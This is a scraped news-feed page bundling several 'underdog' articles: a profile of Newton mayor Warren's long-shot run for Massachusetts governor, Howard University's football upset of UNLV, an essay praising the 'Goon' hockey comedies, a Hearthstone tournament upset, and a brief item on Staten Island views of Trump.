The first popularly elected Black mayor in Massachusetts is the son of Joseph Warren, a longtime confidant to Massachusetts Gov. Michael Dukakis and an adviser on Dukakis’ 1988 presidential campaign. After graduating from Boston College, in 1993, Warren worked on the re-election campaign of President Bill Clinton, who occupied the White House until 2000. But then a shift: “I’d always known that I wanted to serve in the military; it was only a matter of when,” says Warren. “When” was the 9/11 attack, which prompted him to enlist in the U.S. Navy Reserve. While awaiting deployment, he worked as trip director for Sen. John Kerry’s 2003 presidential campaign. The two became close, with Kerry serving as a groomsman when Warren and Tassy — another Kerry campaign staffer — married three years later.

In 2007, Warren was sent to Iraq as a naval intelligence specialist — an experience he calls the most formative of his life. “Being on the base with so many people of diverse backgrounds … we couldn’t afford not to work together,” he says. “That lens of being able to understand different perspectives really helped me be a stronger mayor.”

Working together, sharing perspectives — it sounds like a stump speech, but Virginia Gardner swears that Warren walks the walk. The Newton resident wasn’t always a believer — she supported Ruth Balser when Warren first ran for mayor in 2009 — but she was impressed by Warren’s leadership during the town’s much publicized February 2017 move to become a sanctuary city. Gardner opposed the ordinance, afraid that legislation protecting unauthorized immigrants from arrest would hinder local law enforcement’s ability to do their job. But the mayor’s ability to connect with people on both sides of the debate produced a palatable outcome. “Most of our group came to support it,” says Gardner. “That was no easy task … but he has a proven track record of bringing people together.”

Since his election in 2009, Warren has brought his hometown’s $ 40 million budget deficit into balance, built a near-$ 20 million “rainy day fund” and invested in solar energy programs to cut Newton’s carbon footprint. But, as far as cities go, Newton — which, after Boston, boasts the highest collection of millionaires in Massachusetts — isn’t beset by many of the problems plaguing larger urban communities. Still, Warren contends that Newton has prepared him well. “One in seven of our residents live at or below the poverty line,” he states. “It is the perfect example of economic inequality, which is the defining issue of our time.… It’s the reason I got into this race.”

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As he squares off against Baker, Warren has been promoting a dual attack to combat economic inequality. His core proposals — instituting a single-payer health care system and free public college — have earned endorsements from progressive political action groups like Democrats for America–Massachusetts and the Collective PAC, and could be the key to knocking the conservative Baker out of office. But, in a state where an incumbent governor has not been defeated in a general election since 1974, the odds are steep.

Peter Ubertaccio, dean of the School of Arts and Sciences at Stonehill College, explains that Republican governors are largely viewed as a mechanism to balance power at the heavily Democratic Massachusetts Statehouse. What’s more, Baker “tends to be viewed as a bipartisan figure,” says Ubertaccio. “He works well with Democrats on Beacon Hill and is one of the most popular politicians in the country.”

But Warren isn’t buying it. He says Baker is a pencil pusher for the state’s few flourishing Boston-centric industries — namely biotech and life sciences — who is uninterested in improving conditions for all. “People are working harder than ever just to keep their head above water,” says Warren. He hammers away at the state’s dreadful mass transit system, criticizing Baker for trying “to privatize transportation” instead of investing in infrastructure to revitalize the sector and generate a healthy workforce.

In response, Massachusetts GOP spokesperson Terry McDonald tells OZY that “household incomes have increased dramatically across all demographic and socioeconomic groups” under Gov. Baker’s leadership, and the state has seen strong job growth (adding 9,600 jobs in October). Moreover, says McDonald, Warren’s plans for tax hikes “would hurt our workforce and undo the progress we’ve made.… Mayor Warren seems uninterested in letting facts get in the way of cynical attempts to advance his political career.”

Can Warren score a major upset one year from now? Depends on whom you ask, but the former naval officer is more than ready to serve — starting with revamping the T and making the commonwealth a more equitable, affordable place for all.

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]]> https://briefnews.eu/can-this-underdog-candidate-unseat-americas-most-popular-governor/feed/ 0 45-point underdog Howard University pulled off the biggest upset against the spread in college football history https://briefnews.eu/45-point-underdog-howard-university-pulled-off-the-biggest-upset-against-the-spread-in-college-football-history/ https://briefnews.eu/45-point-underdog-howard-university-pulled-off-the-biggest-upset-against-the-spread-in-college-football-history/#respond Mon, 04 Sep 2017 02:24:54 +0000 http://briefnews.eu/45-point-underdog-howard-university-pulled-off-the-biggest-upset-against-the-spread-in-college-football-history/ Howard UniversityEthan Miller/Getty Images

Howard University wasn’t given much of a chance on Saturday in their matchup against UNLV.

As 45-point road underdogs, it was easy to think before the game that this would be little more than a tune-up match for the UNLV Rebels; a chance to put their team to a light test before taking on bigger schools on the schedule. Unfortunately for them, no one told the visitors that, and Howard University proved to be too much for UNLV to handle, winning the game 43-40.

Howard was led by Caylin Newton, younger brother of Cam Newton, and showed some of the same dual-attack ability his sibling is known for, finishing the game with 330 total yards and three touchdowns in the game. The upset came just a day after the ten-year anniversary of Appalachian State’s wild upset over Michigan in Ann Arbor, but as ESPN notes, that game did not have a spread archived at the time it was played, making Howard’s win the biggest upset in history in the context of Vegas lines.

While Las Vegas didn’t offer a moneyline on the game, some online sportsbooks had Howard to win the game available at prices up to 600/1, with some lucky bettors cashing in on bets, if Twitter is to be believed.

Howard wasn’t the only big upset in this debut weekend of college football — Liberty University beat Baylor outright as 33-point underdogs. While it’s unlikely any bettor was crazy enough to do it, RJ Bell notes that had a bettor parlayed the teams with a $ 100 bet, it would’ve provided quite a payday.

Every bet looks crazy until it’s a winner.

NOW WATCH: How Floyd Mayweather makes and spends his millions

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]]> https://briefnews.eu/45-point-underdog-howard-university-pulled-off-the-biggest-upset-against-the-spread-in-college-football-history/feed/ 0 The ‘Goon’ Movies Are the Perfect Underdog Stories For Our Time https://briefnews.eu/the-goon-movies-are-the-perfect-underdog-stories-for-our-time/ https://briefnews.eu/the-goon-movies-are-the-perfect-underdog-stories-for-our-time/#respond Fri, 01 Sep 2017 18:15:13 +0000 http://briefnews.eu/the-goon-movies-are-the-perfect-underdog-stories-for-our-time/ Why the Goon Movies Are Perfect Underdog Stories

When sports and cinema collide, there’s no more exhausted formula than an underdog story. Some no-luck team or player who’s either too green (inexperienced) or too gray (past prime); a journey through workout montages and tremendous sacrifice to become the film’s inevitable MVP. Winners born from humble rearguard and backbreaking work – whatever makes our own proverbial mountains seem more scalable, or ambitions less unreachable. If a poverty-stricken boy from India can become an MLB ace starting pitcher, I, a daytime desk jockey, can surely secure that next promotion! Perspective is everything.

The problem is, most of these films are geared towards children. For every Major League there’s a Bad News Bears and Little Giants not far behind. It makes sense, too. Children need more thematic reinforcement and lesson-teaching as maturation develops. They need to see that anything can be possible, instilling hope for the future. But adults? We define redemption differently than wide-eyed, innocent youngsters who’ve yet to feel life’s brutal, sometimes unforgiving clutches. It’s a different kind of hope we look for – and that’s why Goon and its new sequel, Goon: Last of the Enforcers, are so important.

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Defying the “Disney’ Structure

These Seann William Scott hockey comedies blend Disney underdog structures with a story like The Replacements, where even a single win is considered defying the odds. It’s not about winning the Superbowl, or more specifically to Goon or Goon: Last of the Enforcers, Canada’s equivalent to the Stanley Cup. It’s guys with no direction finding unlikely talents (Doug Glatt kicking ass like no one else), or veterans struggling to remain relevant (Ross “The Boss” Rhea fading away). Years of Tom Brady-like dominance aren’t on the line. These films focus on personal happiness instead of conquering the world. The older you get, the more important this becomes. Kudos to a franchise like Goon for addressing grand achievement on such a “manageable” scale. Especially with calloused cynicism and a frozen bite.

Michael Dowse’s Goon is as much about Doug Glatt’s singular quest to embrace self-worth as it is an homage to old-school hockey machismo. Scott’s titular brute goes from bouncing a Massachusetts bar to beating the snot out of opponents because it’s what his team asks. Repeatedly told he’s “not a hockey player,” which never matters. Glatt finds purpose – violent, tooth-cracking purpose – and still retains a simplistic open-heartedness (covered in scabs and bruises). It doesn’t matter how ridiculous it gets or what other people think. This is the story of a man who merely grants the Halifax Highlanders a playoff berth (we assume). End scene, because what happens next means nothing to Glatt’s journey.

It’s not just about finding a general purpose, but specifically finding your purpose.

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The Ongoing Story

In Jay Baruchel’s fan-pleasing follow up, Goon: Last of the Enforcers, Glatt is already trending downward. A young hot-shot (viking barbarian Anders Cain played by Wyatt Russell) severely injures his right arm, which leads to a life of insurance sales. Boring, tedious “document” work that inspires Glatt to have Ross Rhea teach him the art of left-handed fighting. His Halifax family needs him, and Glatt refuses to let them down. Xavier LaFlamme and Marco Belchior accept him for the poorly communicating, bare-knuckle bruiser he is. Glatt’s willing to bleed one last time for Halifax, before fatherhood begins the next “safer” stage of his life (Eva’s desire is to stop worrying about Doug every night in the rink). In other words, a glorious descent.

Stories like these tap the messy, motivated-by-defeat side of our human experience. They’re full of the empowerment and pridefulness we instill in our offspring, yet blackened by the harsh realities that older audiences have embraced and experienced. Goon isn’t afraid to physically depict the shots life doles out – Goon: Last Of The enforcers doubly so (drink every time a fighter spews blood). The greatest metaphor, literally whacking us in the face.

Rhea and Glatt are fighting for what they desire in the most literal sense, jerseys stained red and scars worn with pride. It’s the hockey player’s mental state. Laying there in a pool of their own mess, defeated, and when their victorious opponent asks if they’re “Okay,” still snapping a quick “Fuck you.” They’re going to get right back up and take another puck to the mouth. Or haymaker to the dome. Because that’s what you do, even when your face looks like a crime scene photo. You get back up and rise to the next challenge, ready to serve your own slice of humble pie. It’s this fiery passion that any one person dreams of feeling (maybe with less beatings involved).

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The Meta Narrative

The casting of Seann William Scott is an underdog story itself. The foul-mouthed party boy from Dude, Where’s My Car? and the sex-driven American Pie franchise is now short-worded and full of humility. It’s easy to see Doug Glatt as a grown up Steve Stifler, struggling to find significance now that popularity and beer-chugging aren’t considered “skills.” Sick of being the obnoxious, empty frat stereotype who offended so many, he’s now a pure-hearted and simple man who just wants to be taken seriously. Scott is living an understated underdog story parallel to Doug Glatt’s own trajectory, and you can’t help but feel both journeys emanating equally from an otherwise goofball sports comedy.

Goon is, for me, Scott’s response to a drop-off in casting and missed opportunities like Southland Tales and action team-ups with The Rock that showed few new dimensions to his performance portfolio. Glatt is a punishing personal bodyguard of the nicest variety, sincere beyond regular emotional capabilities. This allows him to connect with characters like Rhea (his short-lived rival) or LaFlamme (showy teammate who turns bad blood into co-captain love) despite fiery histories. No grudges. He just shuts up and does what’s needed – a comment on egotism and excuses. It’s a good look for Scott, who rises with his own brand of reestablished screen value.

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An Underdog Movie For 2017

It helps that both films are tremendously funny; a raunchy linemate of George Roy Hill’s Slap Shot. Dowse plays juvenile laughs a bit tighter while Baruchel throws goes gloves-off, but the focus is always on Doug Glatt. Locker room banter navigates a sloppy mess of testosterone and Eastern European mom jokes (led by Kim Coates’ ice-cold coach), all while Glatt shows how one passionate, unlikely man can change the lives of many. There’s no such thing as too late in life, but this is more calculated than schoolyard daydreams. Ballbusting, face bashing, rock bottoms – it’s the kind of underdog story that older audiences need, and Goon is a perfect example. Slap Shot for a new generation, or The Mighty Ducks with a lot more violence and talk of double-teaming Belchy’s mom. Language that’s way more understandable when your will and cheery optimism have been ground to the bone. R-rated and roguish for a reason.

Why are these Goon movies perfect R-rated underdog films for our time? Because of this notion that individual fulfillment and success is wholly different from one individual to another. Doug Glatt’s commitment to punching rivals in the face is merely one piece of a larger, more freeing puzzle. This ability to find your own weird niche – be it ice skate brawling or, I don’t know, writing tirelessly about movies on the internet – and have it mean so much. Damn the naysayers. No matter how miniscule or unimportant you feel, we’re all here for a reason. Not everyone can be the next Wayne Gretzky. Sometimes you’re the guy who protects him and slugs any opponent who poses a threat, and if you are, you wear that badge with pride. Goon and Goon: Last of the Enforcers understand what it means to be alive – and more importantly, shows us a damn-funny good time in the process. Don’t sleep on either film for a single second, you hosers.

The post The ‘Goon’ Movies Are the Perfect Underdog Stories For Our Time appeared first on /Film.

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]]> https://briefnews.eu/the-goon-movies-are-the-perfect-underdog-stories-for-our-time/feed/ 0 Underdog Knocks Hearthstone World Champ Out Of Tournament https://briefnews.eu/underdog-knocks-hearthstone-world-champ-out-of-tournament/ https://briefnews.eu/underdog-knocks-hearthstone-world-champ-out-of-tournament/#respond Sun, 26 Mar 2017 02:09:07 +0000 http://briefnews.eu/underdog-knocks-hearthstone-world-champ-out-of-tournament/

The 2017 Hearthstone Winter Championship is underway, and 16 players are competing for $ 250,000 and one of four guaranteed spots at this year’s World Championships. One Cinderella story may not only earn a ticket to the ball, but he took out a champ on his way there.

Canadian player Julien “DocPwn” Bachand is a fairly fresh face to the Hearthstone scene. With barely any professional games to speak of before appearing in the America qualifiers, he tore through the tournament 9-0 to make it to the Winter Championship. By comparison, Pavel Beltukov has a litany of wins, including his World Championship title from 2016.

When the two met in the deciding match of their group, it was a David v. Goliath scenario, with Pavel quickly taking the advantage 2-0 in the series. It came down to the wire in many situations, like in game five, where a Holy Nova draw for Bachand came one turn too late, in a match that would end in Pavel’s favor and put him on game-point. Pavel, who’s known for reading his opponent’s face during matches, instantly identifies the late draw from Bachand’s poor poker face and even cracks a little smile.

Still, Hearthstone is a game of both randoms and constants, and Bachand was able to back Pavel up using his one weak point: his Mage deck. Pavel’s Mage was 1-2 so far in the tournament, and struggled against decks like Bachand’s Dragon-centric Priest and mid-range, tempo-oriented Shaman. The synergy of these decks often comes together fast and aggressive, ramping up the speed faster than a deck like Pavel’s Mage, focused on control, can handle.

Bachand composed the perfect offense to put Pavel on the back foot, and took the series win with a Bloodlust and Jade Claw play, knocking the world champion out of the Winter Championships.

Bachand advances to the quarterfinals, where at the time of writing, he is slated to play American player Jeffrey “Tarei” Liu. If Bachand wins, he’ll advance to the semifinals, and automatically qualify for the 2017 World Championships. Hopefully this pumpkin carriage still has some wheels, and we’ll see another set between these two at BlizzCon 2017.


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]]> https://briefnews.eu/underdog-knocks-hearthstone-world-champ-out-of-tournament/feed/ 0 ‘He’s the underdog’: We went to Staten Island to talk to people about Trump’s first month https://briefnews.eu/hes-the-underdog-we-went-to-staten-island-to-talk-to-people-about-trumps-first-month/ https://briefnews.eu/hes-the-underdog-we-went-to-staten-island-to-talk-to-people-about-trumps-first-month/#respond Sat, 18 Feb 2017 07:36:47 +0000 http://briefnews.eu/hes-the-underdog-we-went-to-staten-island-to-talk-to-people-about-trumps-first-month/ Staten Island is the most conservative borough of New York City. One month into Trump’s presidency, we went there to hear people’s thoughts. 

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]]> https://briefnews.eu/hes-the-underdog-we-went-to-staten-island-to-talk-to-people-about-trumps-first-month/feed/ 0